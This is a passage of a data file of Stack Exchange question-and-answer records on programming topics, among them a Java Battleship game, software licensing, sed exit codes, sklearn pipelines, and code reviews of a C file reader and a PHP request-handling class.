= 0; x < ocean.getXLength(); x++) {                if (y == 0 && x == 0) {                    System.out.print(\\t);                    for (int i = 0; i < ocean.getXLength(); i++) {                        System.out.print(i + \\t);                    }                    System.out.println();                }                if (x == 0) System.out.print(y + \\t);                drawStuffOnOcean.draw(ocean, y, x);            }            System.out.println();        }    }    interface DrawStuffOnOcean{        void draw(Ocean ocean, int y, int x);    }    DrawStuffOnOcean drawShipsOpenly = (Ocean ocean, int y, int x) -> {        MaritimeElement element = ocean.getLocationStatusAt(x,y);        if(element == MaritimeElement.WATER) {            drawMaritime.water();        } else if (element == MaritimeElement.DESTROYER) {            drawMaritime.destroyer();        } else if (element == MaritimeElement.CRUISER) {            drawMaritime.cruiser();        } else if (element == MaritimeElement.AIRCRAFT_CARRIER) {            drawMaritime.aircraftCarrier();        }    };    DrawStuffOnOcean drawAllShips = (Ocean ocean, int y, int x) -> {        MaritimeElement element = ocean.getLocationStatusAt(x,y);        MaritimeElement checkForShotsMade = ocean.getShotMade(x,y);        if (checkForShotsMade == null) {            drawMaritime.water();        } else {            if(element == MaritimeElement.WATER) {                drawMaritime.missShip();            } else if (element == MaritimeElement.DESTROYER) {                drawMaritime.destroyer();            } else if (element == MaritimeElement.CRUISER) {                drawMaritime.cruiser();            } else if (element == MaritimeElement.AIRCRAFT_CARRIER) {                drawMaritime.aircraftCarrier();            }        }    };    DrawStuffOnOcean drawShotsMade = (Ocean ocean, int y, int x) -> {        MaritimeElement element;        if (ocean.getShotMade(x,y) == null) {            drawMaritime.water();        } else {            element = ocean.getShotMade(x,y);            if(element == MaritimeElement.WATER) {                drawMaritime.missShip();            } else {                drawMaritime.hitShip();            }        }    };}"  , "title": "Battle Ship game Terminal Game"  , "tags": "java"  } 
{  "id": "_softwareengineering.160941"  , "question": "I've finished a first working, releasable version of a testing framework. Prior to release, I want to apply a proper license to it. Normally I'd choose something like GPLv3 but here I am pretty unsure. If I put the testing framework under GPLv3, does that mean users won't be able to test their commercial applications without also putting them under the GPL? Would a license like the MIT be a better fit?I've just had a look at several popular testing frameworks (JUnit, Jasmine) and none of them uses the GPL.EDITForgot to mention the project is open sourced."  , "title": "Choosing the right license for a testing framework"  , "tags": "licensing;gpl"  , "accepted_answer": "Firstly it probably doesn't matter. There are a lot of testing frameworks. Almost every company/project/developer seems to roll their own version of cppunit, so the chance of the license you choose actually having any major effect is small.Secondly GPL limits how you can distribute a derived work. Unless your testing framework requires some changes to my main codebase (in which case it's  a very bad testing framework!) then I should only need to use your code for my unit tests which I'm not going to distribute anyway."  } 
{  "id": "_unix.189445"  , "question": "The command brew install boost works for me on my MacOSX, but it installs the latest boost 1.57. How to use brew to install the older 1.55?"  , "title": "How to install a particular version of boost with brew on MacOSX?"  , "tags": "command line;macintosh"  , "accepted_answer": "You'll want to run brew install homebrew/versions/boost155$ brew search boostboost                              homebrew/science/boost-computeboost-bcp                          homebrew/versions/boost149boost-build                        homebrew/versions/boost150boost-python                       homebrew/versions/boost155Caskroom/cask/iboostup             Caskroom/cask/pivotalbooster   Caskroom/cask/turbo-boost-switcher"  } 
{  "id": "_softwareengineering.199592"  , "question": "My background in mathematics is very poor (i.e. last relevant math class taken was high school Trigonometry two years ago - another story for another time). I'm reading 'Javascript: The Definitive Guide' and it's a term that is being repetitively used and I've sort of just ran with it. But I've come to a chapter (Chapter 6 - Objects) where my lack of understanding of the term and its application in programming/OOP is starting to become detrimental to the learning process. The online dictionaries aren't helping out, so does somebody have a more explainable definition and/or example to show?"  , "title": "What does 'enumerable' mean?"  , "tags": "object oriented;definition"  } 
{  "id": "_softwareengineering.80702"  , "question": "Programming books often contain a lot of code scattered within it. Usually there will be an accompanying website to download the code used in the book.How do you use the code? Do you just run them and check the results or do you code it from scratch again?If you are coding it from scratch, have you found any advantages( like remembering the content better etc)?"  , "title": "How do you use the sample codes while reading programming books?"  , "tags": "learning"  , "accepted_answer": "The best advice on the matter I know of comes from the prologue of Zed Shaw's Learn Python The Hard Way:This simple book is meant to get you  started in programming. The title says  its the hard way to learn to write  code; but its actually not. Its only  the hard way because its the way  people used to teach things. With the  help of this book, you will do the  incredibly simple things that all  programmers need to do to learn a  language:Go through each exercise. Type in each sample exactly. Make it run.Thats it. This will be very difcult  at rst, but stick with it.And later on he elaborates:It seems stupidly obvious, but, if you  have a problem typing, you will have a  problem learning to code. Especially  if you have a problem typing the  fairly odd characters in source code.  Without this simple skill you will be  unable to learn even the most basic  things about how software works.Typing the code samples and getting  them to run will help you learn the  names of the symbols, get familiar  with typing them, and get you reading  the language.Almost all of the prologue is dedicated to why typing code is preferred, there is no point to copy it here, there's a free pdf version of the book you can read. So, to answer your question, I always type in the code. Every time you choose to type the code instead of just compiling / running the accompanying code you actually get some valuable practice and extra muscle memory points in the language's syntax, conventions and quirks. It's not just the code that matters, unless all you want to achieve is reading the language. Python, where indentation is a language requirement and not a matter of style, is a perfect example of why you need to type everything when learning. "  } 
{  "id": "_scicomp.21029"  , "question": "Convert the following model into an LP model.  Note that you're not being asked to convert this to standard form.$$\\min z = \\max (x_1, x_2, x_3, 2000)$$s.t.$$-2x_1 + x_2 + x_3 \\geq -4$$$$3x_1 - 4x_2 + x_3 \\leq 12$$$x_i \\geq 0$ for all $i$I am having difficulty thinking through how to set up an objective function that isn't a formula, but selects the maximum of multiple variables.  I've tried setting up the $\\max(x_1, x_2, x_3, 2000)$ as a matrix and as another variable x4, but it doesn't make sense to me on paper.  When I write the problem in Excel, I use =MAX(x1, x2, x3, 2000) as the objective function but I don't understand the algorithm I would use to solve this problem. I've researched several textbooks and am stuck on setting up an objective function that selects a single maximum value of several variables."  , "title": "Convert the following model into an LP model (not asking for standard form), includes a max (a,b,c,d)"  , "tags": "linear programming;model"  } 
{  "id": "_unix.334973"  , "question": "I want to use find command to find the new file uploaded from spacific time to my server,NOT by access time -aminNOT by modify time -mminfor exampleI have manually upload file.ex with SFTProot@server [/path-of-file]# stat file.exFile: `file.ex'Size: 1668            Blocks: 8          IO Block: 4096   regular fileDevice: 903h/2307d      Inode: 22820305    Links: 1Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)Access: 2017-01-05 07:37:52.000000000 +0100Modify: 2016-12-27 13:03:10.000000000 +0100Change: 2017-01-05 06:48:26.000000000 +0100I need to find with Change statswhich isChange: 2017-01-05 06:48:26.000000000 +0100All I want to dofind what uplaoded  file (with change stat only) from 24 hours and save output to file"  , "title": "how to find by change date in meta data"  , "tags": "find;stat"  , "accepted_answer": "It seems you're looking for the -ctime option. For example, find /path -ctime -1 will find files with change time within the last 24 hours."  } 
{  "id": "_opensource.5888"  , "question": "I am looking for Android Open Source Project of PDF Viewer when I can have the select/copy text feature.  Like Acrobat Reader provided. Any advices?  I have already checked few projects:https://github.com/barteksc/AndroidPdfViewerhttps://github.com/JoanZapata/android-pdfviewhttps://github.com/voghDev/PdfViewPagerBut all of them has not this feature. "  , "title": "Is any Open Source Android PdfViewer project when I can select and copy text?"  , "tags": "android"  } 
{  "id": "_cstheory.16276"  , "question": "Suppose you have a data set composed of n images as training examples. You run clustering on each image ( initializing 3 clusters per image) and learn the centers. Is it ok to then take the cluster centers themselves as features for a supervised learning algorithm and thus have a vocabulary for each image that way or is it inconsistent ? Are there are other more consistent measures that can be used ? "  , "title": "K means feature learning"  , "tags": "machine learning"  , "accepted_answer": "I'd say you can. Coordinates of point of importance inside image qualifies as a feature so you can use it in supervised learning.If clustering is a way to discover that coordinate you can use that.A practical example: say you want to use x-coordinate of left eye as a feature in a classification problem. It does not matter how you get the object's values for that feature, as long as the values are accurate. If you have an algorithm (e.g. a clustering algorithm) which can compute the values you can use it."  } 
{  "id": "_webapps.14760"  , "question": "Sometimes I get partnership offers from people but I'm not ready to work with them yet. I'd like to have an easy way to add them to Highrise (the 37 signals app) and tag them.Can I do that?"  , "title": "How do I add a new contact to Highrise via email?"  , "tags": "crm"  , "accepted_answer": "You can email a contact into Highrise using your 'Highrise Dropbox' email address. You can find this address in Settings > My Info > Email dropbox.You can bcc Highrise when communicating with a prospect, or you can forward an email from the prospect to your Highrise dropbox. If the contact exists, Highrise will attach the email to their case. If the contact doesn't exist, Highrise will create it automatically.See the Highrise demo here:http://highrisehq.com/emaildropboxI don't think you can tag them at the same time, but you can create a Highrise task (to remind you to tag them) using the process above."  } 
{  "id": "_unix.34524"  , "question": "Which application can I use to figure out what to put in .inputrc for any custom keyboard shortcut? I've tried a few, and none of them seem to be usable:showkey, showkey -a and read just print ' if you press Ctrl-'.xev prints them separately, and doesn't print anything that seems usable for .inputrc."  , "title": "How to print keypresses in .inputrc format?"  , "tags": "keyboard shortcuts;keyboard;inputrc"  , "accepted_answer": "I believe ctrl-' will not be passed to applications in the console. It also doesn't show up in xev.It may be the input system or even PC hardware, but without trickery some of the key combinations may be impossible to detect."  } 
{  "id": "_scicomp.11315"  , "question": "What's the difference between these two methods? Can a problem be solved by one method will be able to solved by the other? Can both/or one of them be parallelized with OpenMP and/or MPI?"  , "title": "What's the difference between conjugate gradient method and biconjugate gradient method"  , "tags": "mpi;conjugate gradient"  , "accepted_answer": "The conjugate gradient method is the provably fastest iterative solver, but only for symmetric, positive-definite systems. What would be awfully convenient is if there was an iterative method with similar properties for indefinite or non-symmetric matrices.The CG method seeks approximate solutions at each step $k$ within the Krylov subspace$K_k(A,b) = \\{b, Ab, A^2b,\\ldots,A^kb\\}$.The essential idea of the biconjugate gradient method is to maintain a second Krylov subspace$K_k^*(A,b) = \\{b, A^*b, (A^*)^2b,\\ldots,(A^*)^kb\\}$and seeking a recurrence with similar orthogonality properties to that of CG, but without the stability issues of solving $A^*Ax = A^*b$.Unfortunately, that fails if you apply it naively. However, by performing one step of the generalized minimum residual (GMRES) algorithm after each BiCG step, the resulting iteration is stable; this is usually referred to as BiCG-Stab.So, BiCG-Stab is (in principle) a more general solver than CG but suffers worse efficiency when applied to the problems for which CG was intended. BiCG or BiCG-stab require more matrix-vector multiplications and more dot products, so if you parallelize them via distributed-memory multiprocessing you'll incur more communication overhead, but nonetheless they can be scaled up as much as you like.There are two things worth noting here which are more important than all that other junk I just said:For every iterative method (BiCG, GMRES, QMR...), there is a matrix that will make it fail to converge in finite-precision arithmetic.Therefore, coming up with a good preconditioner for your specific matrix is probably more important than using the optimal outer-level iterative solver.EDIT: For open-source libraries, the two most popular are PETSc and Trilinos. I highly recommend you also get the Python bindings, respectively petsc4py and PyTrilinos. You can also try Eigen. On the one hand, it doesn't have many features, but on the other hand, it has just what you need and no more; if you intend to read the code rather than just use it, Eigen might be the easiest.${}$See also: Yousef Saad, Iterative Methods for Sparse Linear Systems; Nachtigal et al, How Fast Are Nonsymmetrix Matrix Iterations?"  } 
{  "id": "_codereview.92238"  , "question": "This program reads a filename from standard input and then prints its content. Please review:#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <errno.h>int main(){    char fileName[20];    // Get the filename from the user:    int fileNameLength = read(0,fileName,19);    // We need to get rid of the new line character caused by terminal    // Replace the new line character with \\0     fileName[fileNameLength-1] = fileName[fileNameLength];    printf(You want to see the contents of: %s\\n, fileName);    // open the file:    int fd = 0;    fd = open(fileName,O_RDONLY);    if(fd == -1) {        // Something went wrong, perhaps no such file:        perror(NULL);        printf(%s\\n, fileName);    } else {        // Read until the read method returns 0 bytes.         char buf[20];        int numBytesRead = read(fd,buf,20);        while(numBytesRead) {            write(1,buf,numBytesRead);            numBytesRead = read(fd,buf,20);        }        close(fd);    }    puts();}And in action:Korays-MacBook-Pro:~ koraytugay$ gcc koray.cKorays-MacBook-Pro:~ koraytugay$ ./a.out k.txtYou want to see the contents of: k.txtHello Code Review!This is the contents of k.txt.Have a good day!Korays-MacBook-Pro:~ koraytugay$"  , "title": "Showing the contents of a file"  , "tags": "c;file"  , "accepted_answer": "Magic numbers 20 and 19?Instead of this:char fileName[20];// Get the filename from the user:int fileNameLength = read(0,fileName,19);Define MAX_FILENAME_LENGTH somewhere, and use that as the buffer size parameter, and MAX_FILENAME_LENGTH + 1 as the array size containing the buffer, to account for the terminating null character.Write in code your intention exactlyWrite in code more explicitly what you want.For example here you say in comment that you want to write a \\0 to the final position of the char[], but the code doesn't do exactly that:// We need to get rid of the new line character caused by terminal// Replace the new line character with \\0 fileName[fileNameLength-1] = fileName[fileNameLength];Don't assume what might be at an uninitialized memory location.If you want to set the terminating character to \\0,then do exactly that:fileName[fileNameLength-1] = '\\0';More magic number 20All those 20 everywhere:char buf[20];int numBytesRead = read(fd,buf,20);while(numBytesRead) {    write(1,buf,numBytesRead);    numBytesRead = read(fd,buf,20);}Why not introduce a variable so that you can change it later if you want to:int bufsize = 20;char buf[bufsize];int numBytesRead = read(fd,buf,bufsize);while(numBytesRead) {    write(1,buf,numBytesRead);    numBytesRead = read(fd,buf,bufsize);}And why use a buffer of size 20? Why read a file 20 byte at a time? It would be faster to read in larger chunks. Surely you have enough memory to load 4 kbyte at a time. Luckily, now it's easy to change that:int bufsize = 4096;Avoid code duplicationIn the previous code snippet, read(fd,buf,bufsize); appears twice,which is not pretty. It can be rewritten without such duplication:int numBytesRead;while ((numBytesRead = read(fd, buf, bufsize)) > 0) {    write(1, buf, numBytesRead);}close(fd);On the other hand, some people find this writing style potentially error prone or confusing. In my opinion code duplication is the bigger evil,so I still prefer this writing style, which is also shorter.Comments stating the obvious// open the file:int fd = 0;fd = open(fileName,O_RDONLY);Is that comment really necessary there? Or is it just noise?Pointless variable initializationint fd = 0;fd = open(fileName,O_RDONLY);If you're going to set fd to something else, why set it to 0?UsabilityWhen you run the program,it prints nothing,it's just waiting for user input.It would be better to print a prompt,for example:puts(Enter file name:);"  } 
{  "id": "_unix.173790"  , "question": "I have a program written in Python 2.7 and wxPython 2.8 under Mint 13.  One of the modules pulls data off a number of USB devices for subsequent analysis. Everything works fine with Dell laptops but when installed on the HP 255 G1 ~40% of them report USB I/O errors, all ports are USB 2.0One suggestion made to me was to try booting via USB with Mint 17 to see if there are any updates included that resolve the problem. Whilst booting with Mint 17 is not a problem I could not see the program as the only directory under /home is 'mint'. I then put a copy of the software in /home/mint but found that although Mint 17 includes Python it does not appear to include wxPython.I am somewhat unsure where to go next. Can I drop wxPython into the Mint 17 boot; are there other diagnostics I could run; could there be a driver update as I have seen many times on Windowz; etc..."  , "title": "Get I/O errors on USB ports"  , "tags": "linux mint;usb"  } 
{  "id": "_unix.88123"  , "question": "I'm trying to search and replace some line from files, but when I run sed if that regex not match then sed does not return any status code, So instead of adding one more condition with grep, is there way in sed and Why sed does not return exit status ?Problem :"  , "title": "Why `sed` does not return exit status if regex does not matched ?"  , "tags": "sed"  , "accepted_answer": "sed does return an exit status:$ echo foo | sed 's/xx/yy/'foo$ echo $?0$ sed 's/xx/yy/' foo.txtsed: can't read foo.txt: No such file or directory$ echo $?2Exit codes are about whether a program exited successfully or not, they have nothing to do with the internals of what sed is doing, just with whether or not the command managed to run.That said, GNU sed does offer a way to do this:   q [exit-code]          Immediately  quit  the sed script without pro          cessing any more input, except that  if  auto-          print  is  not  disabled  the  current pattern          space will be printed.  The exit code argument          is a GNU extension.For example (taken from here):$  echo foo|sed '/foo/ s/f/b/;q'                                                                       boo$  echo $?0$ echo trash|sed  '/foo/{s/f/b/;q}; /foo/!{q100}'trash$  echo $?100"  } 
{  "id": "_datascience.8038"  , "question": "import numpy as npfrom sklearn import linear_modelX = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])Y = np.array(['C++', 'C#', 'java','python'])clf = linear_model.SGDClassifier()clf.fit(X, Y)print (clf.predict([[1.7, 0.7]]))#pythonI am trying to predict the values from arrays Y by giving a test case and training it on a training data which is X, Now my problem is that, I want to change the training set X to TF-IDF Feature Vectors, so how can that be possible?Vaguely, I want to do something like this:import numpy as npfrom sklearn import linear_modelX = np.array_str([['abcd', 'efgh'], ['qwert', 'yuiop'], ['xyz','abc'],  ['opi', 'iop']])Y = np.array(['C++', 'C#', 'java','python'])clf = linear_model.SGDClassifier()clf.fit(X, Y)"  , "title": "Passing TFIDF Feature Vector to a SGDClassifier from sklearn"  , "tags": "machine learning;classification;python;scikit learn"  , "accepted_answer": "It's useful to do this with a Pipeline:import numpy as npfrom sklearn import linear_model, pipeline, feature_extractionX = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])Y = np.array(['C++', 'C#', 'java','python'])clf = pipeline.make_pipeline(        feature_extraction.text.TfidfTransformer(use_idf=True),        linear_model.SGDClassifier())clf.fit(X, Y)print(clf.predict([[1.7, 0.7]]))"  } 
{  "id": "_codereview.29469"  , "question": "I'm working on a general Requestmethod class which sanitizes and recasts the input of users in an automatic fashion. I've also tried to do array-access in cookies.My biggest question are:Is this too much for one class alone?Is the readability/thinking right on this?Code:    Example: (<input type=checkbox name=checkboxes[] />)    $a = new Request('POST');    $b = $a->getArray('checkboxes');    $b->get(0);    $b->get(1);    $b->get(2);    class REQUESTCONF {        const XSS = false;        const SALT = 'anysalt';        const c_expire  = 24;        const c_path    = '/';        const c_domain  = '';        const c_secure  = false;        const c_httponly = false;    }     /**         * Class to get Secure Request Data         *          * XSS Levels:         * 0 / false = off         * 1 = htmlentities         * 2 = strip tags         *          * @package Request         */        class Request {            private $DATA;            private $CURSOR = false;            private $XSS = false;            private $METHOD;            /**             * Constructor             *              * @package Request             * @param string $METHOD POST GET SESSION or COOKIE             * @param boolean $XSS  XSS Prevent Level             * @uses sanitize();         * @return object Request         * @access public         */        function __construct($METHOD,$XSS=false) {            $this->METHOD = strtoupper($METHOD);            $this->XSS = $XSS;            switch ($this->METHOD) {                case 'FILE':                    $this->DATA = $_FILES;                break;                case 'GET':                                 $this->DATA = $_GET;                break;                case 'POST':                                    $this->DATA = $_POST;                               break;                case 'COOKIE':                    foreach($_COOKIE as $k => $v) {                        // hiding Notice - but no other way :'(                         $array = @unserialize($v);                        if ($array && is_array($array)) {                            $this->DATA[$k] = $array;                        } else {                            $this->DATA[$k] = $v;                        }                    }                               break;                case 'SESSION':                    $this->DATA = $_SESSION;                break;                default:                    trigger_error('Parameter must be a valid Request Method (GET, POST, FILE, SESSION or COOKIE)',E_USER_ERROR);                    die();                break;            }            $this->DATA = $this->sanitize($this->DATA);            return $this;        }        /**         * Destruct - clean up         *          * @package Request         * @access public         */        function __destruct() {            $this->save();            if ( $this->METHOD == 'SESSION' )                session_regenerate_id();            unset($this->XSS);            unset($this->DATA);            unset($this->CURSOR);            unset($this->METHOD);        }        /**         * Removes a Value with $key of $this->DATA         *          * @package Request         * @param string $key   Arraykey of Element in $DATA              * @access public         */        public function remove($key){            if ( $this->CURSOR != false && isset($this->DATA[$this->CURSOR]) && is_array($this->DATA[$this->CURSOR]) ) {                unset($this->DATA[$this->CURSOR][$key]);            } elseif (isset($this->DATA[$key])) {                unset($this->DATA[$key]);            } else {                return false;            }        }        /**         * Dumps whole $DATA         *          * @package Request          * @access public         */        public function dump(){            var_dump($this->DATA);        }        /**         * Set Value in $DATA         *          * @package Request         * @param string $key   Arraykey of Element in $DATA         * @param mixed $value  String Integer Float or Bool want to set in $DATA         * @return boolean         * @access public         */        public function set($key,$value){            if ( $this->CURSOR != false && isset($this->DATA[$this->CURSOR]) && is_array($this->DATA[$this->CURSOR]) ) {                $this->DATA[$this->CURSOR][$key] = $value;                return 1;            }            if (is_array($value))                return false;            $this->DATA[$key] = $value;            $this->setToken();            return $this;        }        /**         * Get a Value from $DATA with validation         *          * @package Request         * @uses object validateString         * @param string $key               Arraykey of Element in $DATA         * @param mixed $validate           Regex Rule for validation or false          * @return mixed $this->DATA[$var]  Contents of the Arraykey         * @access public         */        public function validGet($key,$validateRegex){            if (!$this->checkToken())                return false;            if ( $string = $this->get($key) ) {                if (preg_match($validateRegex,$string))                    return $string;            }            return false;        }        /**         * Get Filesize when Cursor is on a FILE Request         *          * @package Request          * @return int  Filesize in Bytes of File         * @access public         */        public function getFilesize(){                  if ($this->METHOD != 'FILE' || !$this->CURSOR)                return false;            return $this->DATA[$this->CURSOR]['size'];        }        /**         * Get Filename when Cursor is on a FILE Request         *          * @package Request          * @return string   Name of File         * @access public         */        public function getFilename(){            if ($this->METHOD != 'FILE' || !$this->CURSOR)                return false;            return $this->DATA[$this->CURSOR]['name'];        }        /**         * Get MIME when Cursor is on a FILE Request         *          * @package Request          * @return string   MIME-Type of File         * @access public         */        public function getFileType(){            if ($this->METHOD != 'FILE' || !$this->CURSOR)                return false;            // When File is a Picture getimagesize() mime is more secure and can handle PSDs - exif not                 if ($img = getimagesize($this->DATA[$this->CURSOR]['tmp_name'])) {                return $img['mime'];            } elseif (isset($this->DATA[$this->CURSOR]['type'])) {                return $this->DATA[$this->CURSOR]['type'];            } else {                return false;            }        }        /**         * Saves the File to a given destination         *          * @package Request          * @param string $dest  Save Destination         * @return boolean           * @access public         */        public function saveFile($dest){            if ($this->METHOD != 'FILE' || !$this->CURSOR)                return false;            if (move_uploaded_file($this->DATA[$this->CURSOR]['tmp_name'],$dest)) {                return true;            } else {                return false;            }        }        /**         * Sets the Cursor to a FILE Request         *          * @package Request         * @param string $key   Arraykey of Element in $DATA              * @access public         */        public function getFile($key){            if ($this->METHOD != 'FILE')                return false;            //sanitize filename => no leading dot            return $this->getArray($key);        }        /**         * Get a Value from $DATA         *          * @package Request         * @param string $key               Arraykey of Element in $DATA         * @return mixed $this->DATA[$var]  Contents of the Arraykey             * @access public         */        public function get($key){            if (!$this->checkToken())                return false;            if ( $this->CURSOR != false && isset($this->DATA[$this->CURSOR][$key]))                return $this->DATA[$this->CURSOR][$key];            if (!isset($this->DATA[$key]))                return false;            return $this->DATA[$key];        }        /**         * Set a Array in $DATA          *          * @package Request         * @param array $array      Array you want to Store in $DATA         * @return boolean true         * @access public         */        public function setArray($key,$array){            if (!is_array($array) OR $this->METHOD == 'FILE')                return false;            $this->DATA[$key] = $array;            $this->setToken();            return $this;        }        /**         * Sets the Cursor to an existing arraykey from Data when its an Array         * Otherwise set it to false and return false         *          * @package Request         * @param string $key       Key of an Array in $DATA          * @return object Request         * @access public         */        public function getArray($key){            if (!isset($this->DATA[$key]) || !is_array($this->DATA[$key])) {                $this->CURSOR = false;                return false;            }            $this->CURSOR = $key;            return $this;        }        /* Sanitizer         *          *         * @package Request         * @return array    sanitized and pseudotyped Array (since POST and GET is String only)         * @access private         */        private function sanitize($array){            foreach ($array as $k => $v) {                if (is_numeric($v)) {                    $array[$k] = $v + 0;                    if ( is_int($v) ) {                        $array[$k] = (int) $v;                    } elseif ( is_float($v) ) {                        $array[$k] = (float) $v;                    }                } elseif (is_bool($v)) {                    $array[$k] = (bool) $v;                } elseif (is_array($v)) {                    $array[$k] = $this->sanitize($array[$k]);                } else {                    if ($this->XSS > 0) {                        switch ($this->XSS) {                            case 1:                                $array[$k] = htmlentities(trim($v));                            break;                            case 2:                                $array[$k] = strip_tags(trim($v));                            break;                        }                    } else {                        $array[$k] = (string) trim($v);                    }                }            }            return $array;        }        /**         * refill the original REQUEST         *          * @package Request               * @access public         */         public function save() {            switch($this->METHOD) {                case GET :                    $_GET = $this->DATA;                break;                case POST :                    $_POST = $this->DATA;                break;                case SESSION :                    $_SESSION = $this->DATA;                break;                case COOKIE :                    $expire = time()+3600*REQUESTCONF::c_expire;                    foreach ($this->DATA as $K => $V) {                        if ( is_array($V)) {                            setcookie($K,serialize($V),                                $expire,                                REQUESTCONF::c_path,                                REQUESTCONF::c_domain,                                REQUESTCONF::c_secure,                                REQUESTCONF::c_httponly                            );                        } else {                            setcookie($K,$V,                                $expire,                                REQUESTCONF::c_path,                                REQUESTCONF::c_domain,                                REQUESTCONF::c_secure,                                REQUESTCONF::c_httponly                            );                          }                    }                break;            }            return 1;        }        /**         * Generates a Token with data serializing and a given salt from Config          * saves it in the first level of Session or Cookie         *          * @package Request         * @access private         */        private function setToken() {                   if ($this->METHOD == 'SESSION' || $this->METHOD == 'COOKIE') {                if ( isset($this->DATA['TOKEN']))                    unset($this->DATA['TOKEN']);                $this->DATA['TOKEN'] = crc32(serialize($this->DATA).REQUESTCONF::SALT);            }        }        /**         * checks the inserted Tokenhash with actual Data in Session or Cookie         *          * @package Request          * @return boolean      true on success false on fail         * @access private         */         private function checkToken() {            if ($this->METHOD != 'SESSION' && $this->METHOD != 'COOKIE' )                return 1;                if ( isset($this->DATA['TOKEN'])) {                    $proof = $this->DATA['TOKEN'];                    unset($this->DATA['TOKEN']);                    if ( $proof != crc32(serialize($this->DATA).REQUESTCONF::SALT) ) {                        return false;                    } else {                        $this->DATA['TOKEN'] = crc32(serialize($this->DATA).REQUESTCONF::SALT);                        return 1;                    }                } else {                    return false;                }                       }    }    function Request($method,$xss=false) {        if (!$xss)            $xss = REQUESTCONF::XSS;        return new Request($method,$xss);    }    ?>"  , "title": "Critique Request: PHP Request-Method Class"  , "tags": "php;object oriented;classes"  , "accepted_answer": "Right, let me be clear, I mean this in the nicest of ways, but I don't like this code one bit. Let me start off a couple of simple things:Please, follow the coding standards as described by PHP-FIGI've noticed you're (ab)using the error supressing operator (eg @unserialize). Don't. Errors and Warnings are there to help you improve on your code. If there's a warning issued, don't cover it up, fix it. Even more worrying is where I saw this being used:foreach($_COOKIE as $k => $v){    $array = @unserialize($v);    if ($array && is_array($array))    {        $this->DATA[$k] = $array;    }    else    {        $this->DATA[$k] = $v;    }}Now this implies you're actually setting cookies to hold serialized objects or arrays. First off, it gives me a solid clue on what your stack looks like (I know for a fact you're using PHP). Serialized arrays are easily changed client side, so there's no guarantee on data integrity. If they're serialized objects, you're in trouble... big time. That would mean you're actually sending an object to the client, containing its state, and possibly all sorts of information on your server. If I were to be a 16 year old would-be hacker, I'd feel like I just struck gold. With some trial and error, I could easily manipulate that objects state, to gain access to those parts of your app you probably rather I didn't know about.Cookies should cosist of little slivers of, on its own, meaningless data, Sessions are where you could store serialized objects, but still: I wouldn't.Your Request class has a public function __construct function defined. Why then, do you also define a function Request? It looks as though you're trying to catch errors if somebody omitted the new keyword, or you're trying to mimic the factory pattern. Either implement a factory, or drop the function. If it's there to catch code that doesn't construct its instances using new, then that code contains bugs: fix them, don't work around them.Next: The REQUESTCONF class, which only contains constants (ignoring the naming issues here). These constants obviously belong to the Request object: the Request object's state is defined by it. Drop that class, which is used as a constant array anyway, and define the constants as Request constants.You don't need to call all those unset's in the destructor. Dealing with the session is fine, anything else is just overhead (the values will be unset when the object goes out of scope anyway), which is right after the destructor returns.Moving on to some actual code:public function getArray($key){    if (!isset($this->DATA[$key]) || !is_array($this->DATA[$key])) {        $this->CURSOR = false;        return false;    }    $this->CURSOR = $key;    return $this;}This doesn't make sense, to me at least. I'd expect the return type of getArray to be either an array or null, you're returning false, or the object itself. I see what you're doing here, but the name is just begging for accidents to happen.either implement a child of the Traversable interface (which is what you're trying to do anyway) or change the method-name.Your first question: Is this too much for one class?Yes, it is. You might want to take a look at existing frameworks and how they manage the Request, what objects they use and how they're tied in.Your Request object deals with everything, from the basic GET params to sessions. They're not the same thing, and should be treated as seperate entities. You're using a class as a module, which violates the single responsability principle.I'd suggest you write a class for each request that requires its own treatment. Take, for example, a Session class. That class should indeed implement a destructor, but a Get object shouldn't. Their constructors should be different, too, but they can both implement the same basic getter and setter.Start off by writing an abstract RequestType class, that holds the shared methods/properties, and extend it with the various request-type classes:abstract class RequestType{    protected $data = null;    protected $writeable = true;    abstract public function __construct();//ensure all children implement their own constructor    public function __get($name)    {        if (!is_array($this->data) || !isset($this->data[$name]))        {//or throw exception            return null;        }        return $this->data[$name];    }    public function __set($name, $val)    {        if ($this->writeable === false)        {            throw new RuntimeException(sprintf('%s instance is Read-Only', get_class($this)));        }        $this->data[$name] = $value;        return $this;    }}//thenclass Session extends RequestType{    public function __construct($id = null, $readOnly = false)    {        $this->writeable = !!$readOnly;        //start session, assign to $this->data    }}You get the idea... You can use the abstract class for type-hinting, and implement the Traversable interface there, too.Your main Request object then sort of becomes a service, then:class Request{    private $session = null;    private $cookie = null;    private $post = null;    private $get = null;    private $xhr = false;//isAjax()    private $uri = null;    //type constants    const TYPE_COOKIE = 1; //000001    const TYPE_SESSION = 2;//000010    const TYPE_POST = 4;   //000100    const TYPE_GET = 8;    //001000    const TYPE_URI = 16;   //010000    const TYPE_AJAX = 32;  //100000    const TYPE_ALL = 63;   //111111    //config constants    const CONF_XSS = 0; //use PDO-style: array(Request::CONF_XSS => XSS_ON)    const XSS_ON = 1;    const XSS_OFF = 0;    private static $objects = array(        1  => 'Cookie',        2  => 'Session',        4  => 'Post',        8  => 'Get',        16 => 'Uri',        32 => 'Ajax'    );    private $options = array(        self::CONF_XSS => XSS_OFF,        'default'      => 'config here'    );    public function __construct($type = self::TYPE_ALL, array $options = null)    {        if (is_array($options))        {            foreach($options as $conf => $value)            {                $this->options[$conf] = $value;            }        }        if ($type === self::TYPE_ALL)        {            foreach(self::$objects as $type)            {//assume setPost, setSession, ..                $this->{'set'.$type}($this->options);            }            return $this;        }        if (($type & ($type - 1)) === 0 && ($type & self::TYPE_ALL) === $type)        {//^^ $type is power of 2 , and it's value < 63 ===> constant exists            $this->{'set'.self::$objects[$type]}($this->options);        }        return $this;    }}You implement, as the constructor shows, your set<Type> methods, and some lazy-loading get<Type> methods, too, and you're good to go.In case you're not sure what I mean by lazy-loading getters:public function getSession(){    if ($this->session === null)    {        $this->session = new Session($this->options);//session_start is the responsability of the Session class!    }    return $this->session;}"  } 
{  "id": "_softwareengineering.288789"  , "question": "Is there a connection between futures and exceptions? async-await looks very similar to throw-catch."  , "title": "Connection between futures and exceptions?"  , "tags": "exceptions;exception handling;async;asynchronous programming"  } 
